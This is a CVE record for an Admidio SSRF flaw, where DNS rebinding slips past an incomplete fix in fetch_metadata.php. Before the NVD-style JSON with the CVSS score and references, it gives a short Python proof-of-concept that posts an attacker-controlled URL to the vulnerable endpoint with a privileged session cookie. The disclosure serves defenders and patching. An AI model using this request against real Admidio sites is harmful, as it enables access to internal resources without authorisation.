CVE-2026-42194

import requests # Exploit Concept: DNS Rebinding # 1. Attacker controls a domain (e.g., evil.com) pointing to a public IP (Check phase). # 2. Attacker sends a request to Admidio's fetch_metadata.php with url=http://evil.com. # 3. Admidio resolves evil.com -> Public IP (Passes validation). # 4. Before curl executes, attacker changes DNS to point to 127.0.0.1. # 5. curl_init() resolves evil.com -> 127.0.0.1 (Accesses internal resource). target_url = "http://target-admidio-site/adm_program/modules/rooms/fetch_metadata.php" malicious_url = "http://attacker-controlled-domain.com/metadata" payload = { "url": malicious_url } # Requires High Privilege Account Cookie cookies = { "admidio_session_id": "valid_high_priv_session_cookie" } response = requests.post(target_url, data=payload, cookies=cookies) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}")

{"cve": {"id": "CVE-2026-42194", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:34.053", "lastModified": "2026-05-07T16:16:20.777", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hcjj-chvw-fmw9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hcjj-chvw-fmw9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}